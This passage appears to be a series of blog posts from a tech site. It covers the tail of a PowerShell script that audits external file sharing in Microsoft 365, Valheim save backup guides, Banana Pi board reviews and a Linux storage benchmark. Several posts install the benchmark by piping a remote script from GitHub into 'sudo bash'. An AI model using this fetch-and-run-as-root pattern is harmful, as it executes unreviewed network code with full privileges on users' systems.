$permission.Link.WebUrl SharedWithUser = $SharedWithUser SharedWithApp = $SharedWithApp SharedWithDevice = $SharedWithDevice InvitationEmail = $permission.Invitation.Email } $SharedFile # The file has been shared externally $externallySharedFiles += $SharedFile } } } } } # Output the externally shared files if ($externallySharedFiles.Count -gt 0) { Write-Host "Externally shared files found:" $externallySharedFiles | Format-Table -AutoSize } else { Write-Host "No externally shared files found." } # Optionally, export results to CSV $externallySharedFiles | Export-Csv -Path "ExternallySharedFiles.csv" -NoTypeInformation I’ve also uploaded a copy on GitHub as a gist here. Performance Considerations This script is thorough, not fast. For a large tenant with hundreds of sites and millions of files, it will take time. Here are some ways to make it practical: Scope to specific sites — replace Get-MgSite -All with Get-MgSite -Search "Site Name" to target a subset Add rate limiting — Graph has per-user and per-tenant throttling. If you hit 429 errors, add Start-Sleep -Seconds 2 between the inner loop iterations Run it incrementally — add a -ModifiedSince filter to only check files changed in the last 30 days Use app authentication — user-scoped Graph calls are more aggressively throttled than app-registered calls When to Run This Before changing your tenant’s external sharing policy (to know what will break) As part of a quarterly compliance review After a security incident to find data exfiltration paths During onboarding to understand a new client’s exposure How can I find every externally shared file across my Microsoft 365 tenant?Use the Microsoft Graph API via PowerShell. Authenticate with Connect-MgGraph -Scopes "Sites.Read.All", "Directory.Read.All", iterate through all sites and drives, filter for Shared ne null, and export recipient permissions to CSV.Do I need Global Admin rights to audit external sharing?No. The script only requires the "Sites.Read.All" and "Directory.Read.All" API scopes. Any security or compliance analyst with those delegated permissions can run the audit without elevated tenant admin access.How do I avoid getting throttled by Microsoft Graph API during a large audit?Use backend filtering (-Filter "Shared ne null"), increase page sizes (-PageSize 5000), and implement Start-Sleep pauses between heavy loops. Alternatively, authenticate via a Service Principal or filter drives by last-modified date to reduce scope. #### Backing Up Valheim Local Worlds and Characters Guide Valheim is still in early access which means there are definitely still bugs that can cause big headaches. One of these is called the “world eater” bug where your world will be reset to pristine condition (as if you’d never built anything). This can happen both locally and on dedicated servers. There is a less common variant of this type of issue where the same thing can happen to your character. I personally was “rolled back” several times when my computer crashed while playing the game. If you are extra unlucky and your computer crashes in the middle of when it is writing your profile to the disk your profile can be completely corrupted/lost. It’s very easy to take a backup of your worlds and characters. This guide will show you how to do that so you can protect yourself from having to repeat previous progress (or all progress) due to bugs! Table of Contents Toggle Valheim Characters Folder – Location / Backup InstructionsValheim World Folder Location / Backup InstructionsRestoring BackupsOther Resources Valheim Characters Folder – Location / Backup Instructions Valheim has one central folder where it stores all of your different characters by the name you gave them when you created them. It is located at: %userprofile%\AppData\LocalLow\IronGate\Valheim\characters -OR- C:\Users\yourusername\AppData\LocalLow\IronGate\Valheim\characters Here’s a screenshot of my local character’s folder: Valheim Local Character Backup My character’s name is “remote” and here you can see I have made a bunch of copies of my character’s file (remote.fch) having different timestamps from when I made the backup. I typically just press “Ctrl+C” after selecting my character file remote.fch and then press “Ctrl+V” and let Windows give it a default name such as Copy(2), Copy(3), etc. It’s easy to tell when the backup is from using the “Date modified” on the file. You can also move copies of these files anywhere you want if you want to put them in a network folder / external drive / etc. We’ll cover how to restore the backup in the “Restoring Backups” section later in the guide. Valheim World Folder Location / Backup Instructions The “worlds” folder is still in the same “Valheim” root folder as characters is. Here are the paths: %userprofile%\AppData\LocalLow\IronGate\Valheim\worlds -OR- C:\Users\yourusername\AppData\LocalLow\IronGate\Valheim\worlds Here’s a screenshot of my local worlds folder: Valheim Local World Backup The only difference between this and the “characters” backup is that the worlds have two files. In this screenshot “BestLand” is the name of my local world. The two files for it are BestLand.db and BestLand.fwl. I’m not exactly sure what the fwl file does (it’s very small and doesn’t have much in there, there is something in there though) but it is updated frequently and seems to be storing something so I have always backed them up together and restored them together. Restoring Backups Restoring the backups is easy. Make sure you have completely closed your game. Navigate to the “worlds” or “characters” folder depending on which backup you are restoring. Remove the original files. In our previous examples this would be remote.fch for the character and BestLand.db and BestLand.fwl for the world. Now rename the backup copy to the filenames of the originals we just removed. Now restart the game and the backup will be restored. This is fortunately much less complicated than Iron Gate could have made it for us! Other Resources If you’re looking for information on how to fix lag on a Valheim dedicated server check out my “Fixing Lag on a Valheim Dedicated Server” guide If you’re running a dedicated server and want to perform this procedure for the dedicated server check out my “Valheim Dedicated Server world backup guide“! #### Backup Valheim Dedicated Server – World Folder Paths / Guide During Valheim’s Early Access period, backups are absolutely essential (especially for dedicated servers). My server has already been hit by the dreaded “world eater” bug” twice: Once during the very first major update Again during a normal server restart When this happens, the world still loads using the same seed, so the terrain looks correct but every player-built structure, modification, and world change is completely gone. Your bases disappear. Your progress disappears. Everything. While Iron Gate continues patching and improving stability, the safest approach is simple: Back up your world every single time you restart the server or install an update. This guide will show you exactly where your world files are located, how to back them up, and how to restore them if disaster strikes. Table of Contents Toggle Valheim Dedicated Server World Folder LocationWhich Files Need to Be Backed Up?What They Do.db File.fwl FileBackup InstructionsQuick Manual BackupBetter Backup OptionsAutomating BackupsHow to Restore a BackupStep 1: Shut Down the ServerStep 2: Remove the Current FilesStep 3: Rename Your Backup FilesStep 4: Start the Server AgainFinal RecommendationRestart Server = Backup FirstUpdate Server = Backup FirstOther Helpful Valheim GuidesWhere are Valheim dedicated server world saves stored on Windows?How do I restore a Valheim world backup safely?Can I automate Valheim world backups? Valheim Dedicated Server World Folder Location Valheim Dedicated Server Worlds Folder Your Valheim dedicated server world files are stored in the following folder: %userprofile%\AppData\LocalLow\IronGate\Valheim\worlds Or manually: C:\Users\YourUsername\AppData\LocalLow\IronGate\Valheim\worlds You can paste either path directly into Windows File Explorer. Which Files Need to Be Backed Up? Inside the worlds folder, you’ll see files for your active world. For example, if your world is named: BestLand You should see: BestLand.db BestLand.fwl These are the two files you must back up. What They Do .db File This is the important one. It stores: Buildings Terraforming Player-made modifications World progression Everything you care about .fwl File This file is much smaller and appears to contain world metadata. Even though it’s tiny, it updates frequently and is clearly required for a complete restore. Always back up both files together. Backup Instructions The easiest backup method is also the fastest. Quick Manual Backup Select both files: yourworld.db yourworld.fwl Press: Ctrl + C Then press: Ctrl + V Windows will automatically create copies like: yourworld - Copy.db yourworld - Copy.fwl Or: Copy (1) Copy (2) This works perfectly for simple backups before updates or restarts. Better Backup Options For longer-term protection, consider: External hard drives Network shared folders (CIFS/SMB) NAS storage Another PC on your network Cloud storage FTP backup destinations I personally recommend naming backups using the current date, for example: BestLand_2021-03-15.db BestLand_2021-03-15.fwl This makes it much easier to restore the correct version later. The most important rule is: Make sure both files are copied somewhere safe. Automating Backups You can also automate the entire process using a simple script. For example: Scheduled Windows batch scripts PowerShell backups Linux shell scripts Automatic FTP uploads NAS sync jobs Even a basic script that copies the two files before every restart can save your entire server. Highly recommended. How to Restore a Backup If your world gets wiped, restoring is fortunately very simple. Step 1: Shut Down the Server Completely close the dedicated server first. Do not attempt file restoration while the server is running. Step 2: Remove the Current Files Delete or move the broken versions of: world.db world.fwl Step 3: Rename Your Backup Files Take your backup copies and rename them back to the original file names. For example: From: BestLand_2021-03-15.db BestLand_2021-03-15.fwl Back to: BestLand.db BestLand.fwl Remove any: Copy (1) Copy Date stamps Custom naming The filenames must match exactly. Step 4: Start the Server Again Launch the dedicated server normally. Give it a minute or two before trying to connect. Valheim servers often take some time to finish loading, and the console window may scroll for a while before it’s ready for players. Be patient. It’s normal. Final Recommendation During Early Access, I strongly recommend this rule: Restart Server = Backup First Update Server = Backup First Every single time. It takes less than 30 seconds and can save hundreds of hours of progress. It’s worth it. Other Helpful Valheim Guides If you also want to protect your single-player progress, check out my guide on: Backing Up Valheim Local Worlds and Characters And if your dedicated server is lagging badly, you may also want this guide: Valheim Dedicated Server: Raising Send / Receive Limits Both are worth reading if you’re running a serious Valheim server! Valheim – 0 Days Since Last Accident…* Where are Valheim dedicated server world saves stored on Windows?World saves are located in %userprofile%\AppData\LocalLow\IronGate\Valheim\worlds\. The server beta may use a worlds_local subfolder instead. Both .db (constructions, terrain edits, progression) and .fwl (world metadata) files must be backed up together.How do I restore a Valheim world backup safely?Stop the dedicated server completely, delete or move the corrupted world files, copy your backup .db and .fwl files into the worlds folder ensuring filenames match the original world name exactly, then restart the server.Can I automate Valheim world backups?Yes, use a scheduled Windows Task or a batch file with XCOPY commands paired with date-stamped output folders. Example: XCOPY "%userprofile%\AppData\LocalLow\IronGate\Valheim\worlds\*.db" "C:\ValheimBackups\%date:~10,4%%date:~4,2%%date:~7,2%\" /V /I /R /K /O /Y. #### Banana Pi M2 Zero SBC Review Banana Pi M2 Zero Review The Banana Pi M2 Zero definitely has a very familiar form factor. It looks just like the Raspberry Pi Zero but is a much cheaper alternative in these market conditions. Would you actually want to buy and use it as a Pi alternative? The answer is maybe. Today I’ll explain the strengths and weaknesses of the Banana Pi M2 Zero and explain who may be able to save a lot of money using a board like this (and who should stay away from it). There are definitely some things you should know about the board before buying one and we’ll be covering those in this review. Let’s get started! Table of Contents Toggle Hardware UsedBuild QualityAvailable ImagesNotable FeaturesOnboard Ethernet Controller (with pins but no jack)USB Serial to TTY Debug ConnectionWiFi External Antenna RequiredTesting ArmbianBroken hostapd ConfigurationBenchmarking I/O PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Banana Pi M2 Zero The Banana Pi M2 Zero has a quad-core ARM Cortex A7 CPU H3 processor, 512MB of RAM as well as Raspberry Pi compatible GPIO Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* U.FL Connector WiFi Antenna These are standard U.FL connector antennas that are widely used with single board computers and IoT devices Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Build Quality Here’s the front view: Banana Pi M2 Zero – Front And the back view: Banana Pi M2 Zero – Back The build quality on the board is very solid. The circuit traces are easily visible and ports / components are clearly labeled. The edges of the board are clean and all components feel completely solid. Available Images For all of my recent SBC reviews I’ve been evaluating what images are available for each board and how up to date they are. We are going to do the same today with the Banana Pi M2 Zero. All of the images available for the Banana Pi M2 Zero are listed here on the Wiki. Unfortunately although there are a lot of choices most of them are 4-5 year old images. Literally. The Android version available for the board is “2018-07-09 update Android 4.4, kernel 3.4”. Ouch. How about the Raspberry Pi OS version? Well it’s so old that back then it was still called Raspbian. The available version is: “Raspbian Stretch, kernel 4.4″. Raspbian STRETCH?! I haven’t used that version on any device in well over 4 years. That is absolutely ancient. If it was at least Buster that would be a lot more forgivable but “Stretch” being the available version is definitely not good. I highly recommend the Armbian version for the Banana Pi M2 Zero. Even though it doesn’t have official community support this still seems to be the best and newest choice of image you can use on the Banana Pi M2 Zero at time of writing. Notable Features Onboard Ethernet Controller (with pins but no jack) This is an interesting feature that I haven’t seen on any other single board computers I have. This board has an actual ethernet controller. There is just no RJ45 jack for it but the connections to hook one up are provided on the board. It looks like this: Banana Pi M2 Zero Ethernet Usage What?! I’ve never seen someone ship a board with this before but I like it. When you have a single USB port available basically this really comes in handy! USB Serial to TTY Debug Connection The board has dedicated connections available for USB to serial TTY debugging (seen on the left hand side of the board): Banana Pi M2 Zero Hardware Interfaces I’m a big fan of using these connections to connect to boards like this that are a pain to connect to a monitor (you need the mini HDMI to HDMI adapter, etc.). You simply hook it up via USB and get a shell that way. WiFi External Antenna Required The Banana Pi M2 Zero has an external antenna WiFi connector. Without connecting an antenna I was not able to connect to my WiFi at all. It could sporadically see it but not establish a wireless connection. This is important to know because many devices have both a strong internal antenna and an optional external connection for even more powerful antennas. On this board if it does have an internal antenna it may as well not because it’s too weak to use. The antenna is not included. I shut down the Banana Pi M2 Zero and connected an extra antenna from one of my Orange Pi i96 boards. The WiFi has functioned perfectly ever since. These use a standard U.FL connector antenna*. Testing Armbian Because this build of Armbian doesn’t have end-user support I wasn’t expecting a perfectly smooth experience. I actually didn’t have as much trouble as I thought. The only issue I encountered was a broken hostapd service configuration. This service (when configured correctly) allows other devices to connect to it as a wireless access point. This was preventing me from getting a clean startup as reported by systemctl status. Broken hostapd Configuration One issue I found with the unsupported Armbian build is that it tries to set up a wireless access point but completely fails. This is due to the hostapd service having an apparently invalid configuration. You can fix this issue by using: sudo apt purge hostapd This will remove hostapd from the machine. If you want to actually use hostapd you can just fix the configuration but assuming you are not using it as a wireless access point that other devices are going to connect to it’s safe to remove this. After removing the hostapd service I have a completely clean startup as shown by: sudo systemctl status Benchmarking I/O Performance You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The average score for a Raspberry Pi Zero is around 900-1000. This one has a quad core processor though so it may be able to outperform it. Here are the results: Category Test Result HDParm Disk Read 22.24 MB/s HDParm Cached Disk Read 22.25 MB/s DD Disk Write 13.7 MB/s FIO 4k random read 2135 IOPS (8540 KB/s) FIO 4k random write 1045 IOPS (4183 KB/s) IOZone 4k read 10067 KB/s IOZone 4k write 3952 KB/s IOZone 4k random read 7975 KB/s IOZone 4k random write 4087 KB/s Score: 1,198 The full Banana Pi M2 Zero benchmark can be viewed here on pibenchmarks.com. Wow, that was a lot higher than I was expecting! This is closer to the score from something like a Raspberry Pi 4 or a Raspberry Pi Zero 2 W. This makes sense because it is indeed a quad-core board and that is helping us on the benchmark. We are getting really great I/O performance from SD with this board despite the difficulties in finding up to date / supported images. It’s one of the fastest Pi Zero form factor boards I’ve ever tested! Pros / Cons Pros Hardware is very powerful and is more comparable to the quad-core Pi Zero 2 Same form factor as Raspberry Pi Zero Integrated Ethernet controller that can be connected via pins Cons Very outdated Raspbian image available (Stretch) Conclusion It’s a really powerful quad-core single board computer when you get it up and running. It’s much faster than a Raspberry Pi Zero and is a lot more comparable to the Raspberry Pi Zero 2. Make sure you have a WiFi antenna to connect to the external WiFi port (next to the 2 buttons on the board). Unfortunately this board suffers from the impact of having outdated images. I can’t help but feel like Banana Pi is missing the moment to really convert a lot of users to using their board by having such an old version of Raspberry Pi OS / Raspbian available. It seems like this board may be getting toward the end of it’s production life. I definitely strongly recommend using the Armbian image as that will get you to kernel 5.15.x at time of writing. I was hoping that this would be closer to a drop-in replacement to something like a Raspberry Pi Zero. Due to the state of the images available for the board (with even the Armbian build being technically unsupported) it definitely isn’t a drop-in replacement. For people who are comfortable using Armbian on single board computers though this will be a powerful alternative. I do plan on soldering the GPIO headers and trying to use this as a substitute for a Pi Zero for a Pwnagotchi. Even at the higher price of $40 on Amazon it’s still much cheaper than you can get your hands on any Raspberry Pi. If you can use this board as an alternative and you are comfortable with Armbian you can get a very powerful quad-core board for much less money (and exactly the same form factor)! It definitely has a lot of performance for the price if you are able to harness it. You can see why all of these clones lost the war with the Raspberry Pi. It’s almost always the software/support that is the problem. In this case the problem is the older images and the lack of support. The only reason these boards are worth considering is the super high pricing and extremely low availability of Raspberry Pis. Due to market conditions this would be a smart board for anyone comfortable with utilizing Armbian instead of Raspbian/Raspberry Pi OS. This should have been Banana Pi’s opportunity to really shine here. I wish I could recommend this board to you as a drop-in replacement for a Raspberry Pi Zero but it’s not quite there without an up-to-date Raspberry Pi OS image! It’s great that it has GPIO compatibility with the Pi but it’s hard to utilize it with such an old Raspbian image. I can recommend it as an alternative though for anyone comfortable with utilizing Armbian! Other Resources If you can get away with a slightly larger form factor the Orange Pi Zero 2 is cheaper and enjoys much better image support A much cheaper (but quickly disappearing) board is the Orange Pi i96 which is available for around $7-15 The Libre Computers “Le Potato” is available for around $40 and is modeled after the Raspberry Pi 3 The ODROID M1 has a real M.2 NVMe slot and gets incredible IO performance for much cheaper than a Pi #### Banana Pi P2 Zero SBC Review Banana Pi P2 Zero SBC Review The Banana Pi P2 Zero is a single board computer that has a quad-core processor as well as a 8GB eMMC and 512MB of RAM. It’s equivalent in power to roughly a Raspberry Pi Zero 2 or a Orange Pi Zero 2. Today I’ll review the Banana Pi P2 Zero and examine the images available for the board, the build quality and included components as well as benchmark the I/O performance of the board. We’ll then compare it to the Orange Pi Zero 2 (one of my favorite SBC choices in this current market) and see what the advantages and disadvantages the Banana Pi setup has. Let’s get started! Table of Contents Toggle Hardware UsedSpecifications / AccessoriesBuild QualityImages AvailableInstalling Linux to eMMC (Failed)Benchmarking I/O PerformancePros / ConsPros:Cons:ConclusionOther Resources Hardware Used Banana Pi P2 Zero – Top View The Banana Pi P2 Zero has a quad-core processor as well as a 8GB eMMC and 512MB of RAM. The form factor is about half the size of a Pi 4. Links: Amazon.com*, AliExpress.com*, Amazon.co.uk*, Amazon.de* U.FL Connector WiFi Antenna These are standard U.FL connector antennas that are widely used with single board computers and IoT devices Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications / Accessories CPU: Allwinner H3 Quad-core Cortex-A7. Mali 400MP2 GPU 512MB DDR3 SDRAM WiFi (AP6212) & Bluetooth Mini HDMI 40 PIN GPIO includes UART, SPI, I2C, IO etc. 100M LAN IEEE 802.3af PoE standard PoE module support 8G eMMC flash included My Banana Pi P2 Zero also came with a small USB to TTL serial adapter. It had been bent a little from shipping but I was really surprised they included one of these. One interesting thing I’d like to point out from the specifications is that the board supports PoE. This usually requires some sort of hat or adapter on many/most other boards. One thing they did *not* include (just like the Banana Pi M2 Zero) was the external WiFi antenna. You will absolutely need to use the external WiFi antenna connector to get a good WiFi signal with these boards. When I don’t use an antenna they can see my WiFi access points but can never successfully connect or authenticate. Once I connect the antenna the WiFi functions perfectly. Build Quality The board revision I received was V1.1. The build quality of the board is honestly great. All of the edges of the board are clean. Traces are easily visible on the board and the components are all very securely attached. The GPIO pin header is already soldered which is a plus in my book. Here’s a look at the top view of the board: Banana Pi P2 Zero – Top View Most of the components and connectors for this board are here on the top. You actually have a push-button power included which is nice. There is 5V DC input for USB-OTG as well as a standard OTG USB connector. Note that unfortunately this is a Mini HDMI port and not a full size (or a micro). That is the same connector the Raspberry Pi Zero uses and generally needs an adapter or a cable that goes straight from micro HDMI to HDMI (not likely to be something you’ll have laying around unless you’ve purchased it to work with other single board computers before such as the Pi Zero). Now let’s take a look at the bottom view: Banana Pi P2 Zero – Bottom View We can see the micro SD card slot is here on the bottom of the board. If you look at the far right edge of the board you will also see the external WiFi antenna connector (not included unfortunately). It would have been nice if they could have managed to get the external WiFi connector on the top of the board but they did at least put it literally right on the edge which will make things easier if you have the antenna connected on the bottom and are bringing the wire up to the top side of the board. Images Available The first major thing to note is that the P2 Zero and M2 Zero images are compatible. This actually helps a lot as one of my main concerns reviewing this board early is that there would only be a couple of images available for it. The official images page for the Banana Pi P2 Zero is here. The bad news is that I actually hammered the Banana Pi M2 in my review for having Raspbian/Debian Stretch (yes, Stretch) available as the latest version of Raspberry Pi OS. If you need Raspberry Pi OS you’re going to be unhappy with such an old version. The Armbian image is much more up to date using a 5.19.x kernel at time of writing. Installing Linux to eMMC (Failed) This was harder than I thought it would be. You can’t just plug in the USB-OTG port into your computer and image the board like I was expecting. Instead the best way is to install Armbian on a SD card. Once you boot into that installation you can use: armbian-config Then you choose “Install” and install both to eMMC. Once I did this it was able to boot and use the eMMC as the root partition but I couldn’t remove my SD card. If I removed my SD card it would not boot. Unfortunately this also broke my Ethernet connection and it would just stay solid when booting from eMMC. When you go to the Banana Pi forums searching for this issue you will see interactions like this. I also saw one like this. Those are interesting because that is a very high level Armbian developer responding in both cases but as they pointed out the board isn’t officially supported. It’s also definitely not working like they are saying though with the P2 and it is definitely not the fault of the people who posted the issues. It doesn’t seem like Banana Pi is making enough contributions to Armbian (or any if I were to guess by the responses to problems with the board) to get reliable support on the board. Money comes up in every single one of those threads related to the Banana Pi P2 Zero and the Armbian team makes it quite clear they aren’t getting it. You should keep this in mind as a consumer. They know about these issues and they aren’t going to fix them for an unsupported board for free. Benchmarking I/O Performance This will just be a SD card benchmark as the eMMC is essentially broken for booting purposes (at least with Armbian). You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results for the SD: Category Test Result HDParm Disk Read 22.19 MB/s HDParm Cached Disk Read 21.27 MB/s DD Disk Write 18.9 MB/s FIO 4k random read 1852 IOPS (7408 KB/s) FIO 4k random write 731 IOPS (2924 KB/s) IOZone 4k read 8018 KB/s IOZone 4k write 2438 KB/s IOZone 4k random read 6705 KB/s IOZone 4k random write 3252 KB/s Score: 1,038 The full Banana Pi P2 Zero eMMC benchmark can be viewed here on Pi Benchmarks. It’s definitely a fine score for a SD card. I don’t really have too much to say about this other than I wonder how the eMMC would do. I’m sure I could figure out how to make these use the eMMC as the root partition even if I had to go as far as using a SD card as the boot loader (stupid). I do guides like this all the time on the site and many of you have probably read them before. This is a review though. It cannot do it out of the box or with the included images correctly. If you are buying this expecting to be able to simply install the Armbian image on the eMMC without going through an absolute nightmare then no it will not do it at time of writing. I fought with it for several hours trying to get it to simply boot my Armbian from eMMC and could not and I am someone who literally writes guides teaching people how to get devices that don’t support USB/MSD booting to do it even if we have to use a SD card to bootstrap the process. I’m sure it can be fixed but if I dive into fixing this again it will be worthy of an entire article on how to set it up properly. Pros / Cons Pros: Very well built board Includes 8GB built-in eMMC Cons: Does not include external WiFi antenna (and WiFi is essentially unusable without it) Raspberry Pi OS version is Stretch (but an up to date Armbian is available) No official Armbian support and recommended image seems to have problems Conclusion The Banana Pi P2 Zero and the Orange Pi Zero 2 are really, really similar performance wise. They’re also really similar price-wise. At time of writing it was significantly cheaper to get the board on AliExpress (the Orange Pi Zero 2 is a lot cheaper on Amazon). Of course they all make sense to pick over any Raspberry Pi right now as you are looking at a fraction of the price of what Pis are going for! The deal breaker for me with the Banana Pi P2 was the images / support. I experienced some screen tearing testing the Armbian desktop OS distro with the P2 Zero making this review. Banana Pi says the images should be fully compatible but I had Ethernet problems as well as boot problems when trying to install Linux to the eMMC. This just isn’t a very smooth experience compared to Orange Pi. I had the same thoughts about the Banana Pi M2 Zero. You know how people say that Pi alternatives have really poor image support? The Banana Pi boards are the epitome of that. Even the Armbian image is in a very poor state on this board. The eMMC seems to be recognized as /dev/mmcblk2 instead of /dev/mmcblk1 and unfortunately Armbian very much works on hard-coded device names instead of UUIDs. If it’s own scripts fail and set things to the wrong IDs you will be left with a system that can’t boot. I’m going to give it a 5 / 10. The very basics such as getting Linux on the eMMC is an absolute nightmare. It makes me sad that it’s well-built hardware with really poor / outdated / nonfunctional images. PoE did not work for me. No idea why. I used the exact same Ethernet cable/port as I used for my CM4 PoE I/O board testing with the BIGTREETECH CB1 not too long ago. I really wanted to like the Banana Pi boards but I had an even worse experience with the P2 Zero than I did with the M2 Zero. The M2 Zero Armbian image worked perfectly. I don’t think I’ll be trying any more Banana Pi boards for a while and will be focusing my attention elsewhere like Orange Pi / Libre Computers and all of the awesome open source RISC-V boards coming out. I definitely recommend the Orange Pi or Libre Computers boards instead! Other Resources See my Orange Pi Zero 2 review here for a very comparable board I’ve also reviewed the Banana Pi M2 Zero here which is the same size as a Pi Zero You can see the rest of my single board computer reviews here #### Benchmark Storage Performance on Linux Linux Storage Benchmark When attempting to determine storage performance on Linux there are common tests such as doing a DD write command and measuring the speed of that. These methods leave a lot to be desired and are especially bad at measuring random read/write performance (the most important for operating system / application performance). I solved this problem for the Raspberry Pi by creating Pi Benchmarks. This is an open source benchmark that *does* measure random read/write performance as well as several other important factors (IOPS, etc.). We’ve collected many years worth of performance data across thousands of different drives including SSDs / HDDs / others. It’s enough information to be used to make important decisions about performance using hard data. I’d like to announce that this exact same benchmark is now available for all devices! If you’d previously taken the benchmark on a PC or device other than a Raspberry Pi those results are now retroactively live on the site. Table of Contents Toggle Benchmark InstructionsComparing BenchmarksCompatibilityConclusionOther Resources Benchmark Instructions The benchmark can be ran with the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you want to choose which drive to test you can alternatively do: wget https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh chmod +x Storage.sh sudo ./Storage.sh /path/to/storage Comparing Benchmarks PiBenchmarks.com – Benchmark #43289 Once the benchmark completes you will receive a score and a breakdown of the different performance measurements that are used to calculate that score. This will display immediately in the window you are taking the benchmark. This score is meant to be compared with other scores at https://pibenchmarks.com. Once you take the benchmark within about a minute or two the result will show live on the site. If you click the score link it will take you to a detailed breakdown of each benchmark. You can browse the site by drive, system board, type, and many other categories. It also has a search function! Compatibility The benchmarks compatibility had basically grown to all flavors of Linux that run on the Raspberry Pi. On these flavors the benchmark will retrieve any dependencies needed to perform the benchmark. This should work on most distros. Known working ones include: Ubuntu Debian Mint Raspberry Pi OS Arch Linux Fenix Kali Manjaro CentOS Fedora Alpine Pop GalliumOS SparkyLinux Armbian Deepin openSUSE Garuda I am definitely expecting problems though expanding this to PC. There are so many more flavors of Linux that run on PC. If you have a distro that is having trouble with it let me know in the comments and I will definitely get it working for that distro! Conclusion I’m very excited to be expanding the storage benchmark as I’ve been working toward this for years now. There are a handful of other benchmarking sites out there and none of them really worked the way I wanted them to for actually making meaningful comparisons so I created this benchmark with an emphasis on random read/write (OS/application) performance. Thanks to everyone who had already taken this over the years even though the results didn’t display live yet! If you have ideas / requests / feedback definitely let me know here in the comments or on the GitHub issues page. I’m always looking to improve it! Other Resources Official GitHub Page Benchmarking SBC (Single Board Computer) Storage Performance for Embedded Devices #### Benchmark Tinker Board, ODROID, Pine64, OrangePi and others PiBenchmarks.com – Benchmark #43289 PiBenchmarks.com is now several years old. It has over 31,000 identified benchmarks. Previously only results from the Raspberry Pi would show live on the site. I’d like to announce that over the past couple of weeks I’ve added support for the SBCs that many of you had already submitted benchmarks for (even though they weren’t recognized on the site yet). These are now all retroactively live on the site right with all of the Pi submitted benchmarks. Let’s take a look at a list of some of the models that were added and how to run the benchmark! Table of Contents Toggle How To BenchmarkNew Models AddedNew System Boards SectionMore Boards Finally HereFeedback WelcomeOther Resources How To Benchmark You can run the benchmark with the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive / SD / eMMC / etc. on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! The benchmark checks for some configuration issues such as the use of USB 2.0/2.1 for USB booting, whether quirks mode is enabled, and other similar issues. New Models Added I add both drive and SBC models based on what people have submitted benchmarks for. Basically I run queries on the database for drives or SBCs that are not recognized and add them in. Thus all of these models are what the community has already submitted benchmarks for. If you have a drive or SBC that is not being added to the site automatically I will definitely see it and once I write the code to process those entries they will retroactively appear on the site. You can also let me know here in the comments if you have one that isn’t being processed and I’ll get it added in. Here’s the list of models that were added recently: ASUS Tinker Board ASUS Tinker Board S Radxa ROCK Pi 4A Radxa ROCK Pi 4B Radxa ROCK 3A Radxa ROCK Pi X Pine64 Pine64+ Pine64 Rock64 Pine64 RockPro64 Xunlong OrangePi One / One Plus Xunlong OrangePi Zero Xunlong OrangePi 3 Xunlong OrangePi 4 Xunlong OrangePi Plus / Plus2 Xunlong OrangePi PC Xunlong OrangePi PC2 Xunlong OrangePi Lite2 Hardkernel ODROID-C4 Hardkernel ODROID-C2 Hardkernel ODROID-HC4 Hardkernel ODROID-N2 Hardkernel ODROID-N2Plus Hardkernel ODROID HC1 Hardkernel ODROID XU4 Hardkernel ODROID M1 NVIDIA Jetson Nano Developer Kit NVIDIA Jetson Nano 2GB Developer Kit NVIDIA Jetson Xavier Developer Kit FriendlyElec ZeroPi* FriendlyElec NanoPi NEO3 FriendlyElec NanoPi-NEO-Core2 FriendlyElec NanoPi RS / R2S FriendlyElec NanoPi M4 LeMaker Banana Pi Cubietech Cubietruck AAEON Atomic Pi MF-001 Shenzen Amediatech X96 Max Firefly ROC-RK3328-CC Rockchip RK3318 BOX Khadas VIM2 Khadas VIM3L Intel Compute Stick STCK1A32WFC SolidRun Cubox-i Dual/Quad Tronsmart Vega S96 ZOTAC ZBOX-BI320 ZOTAC ZBOXNANO-AD12 ZOTAC ZBOX-ID88/ID99/ID90 MeCool KIII Pro Beelink BT3 Pro Phicomm N1 Compulab fitlet2 Gigabyte GB-BACE-3150-System Gigabyte GB-BXBT-1900 Shuttle DS57U Shuttle DS61 Shuttle DS437 Shuttle NC01U New System Boards Section Pi Benchmarks now has a “System Boards” section! This essentially shows all the different SBC models that have been submitted and are recognized on Pi Benchmarks. More Boards Finally Here I’d been saying for several years that I wanted to add support for additional SBCs and it’s finally here! The site is really coming together. It’s really great for searching for compatible storage adapters as people often leave the adapters they are using in the comments. You can frequently find problematic adapters and more importantly see which ones are working and performing the best. It still needs additional changes, maybe some filter options but I needed to build it first and have it work before worrying too much about that. It’s finally to that point now where it’s parsing drives correctly and I can start adding new features and cleaning things up. If we are dreaming big then the final phase of the benchmarking site would be to open it up to all PCs. To do this I would probably spin off the site to a different URL and keep the SBCs comparable with each other as PCs obviously blow their scores out of the water. Feedback Welcome I basically just wrote this myself to try to learn 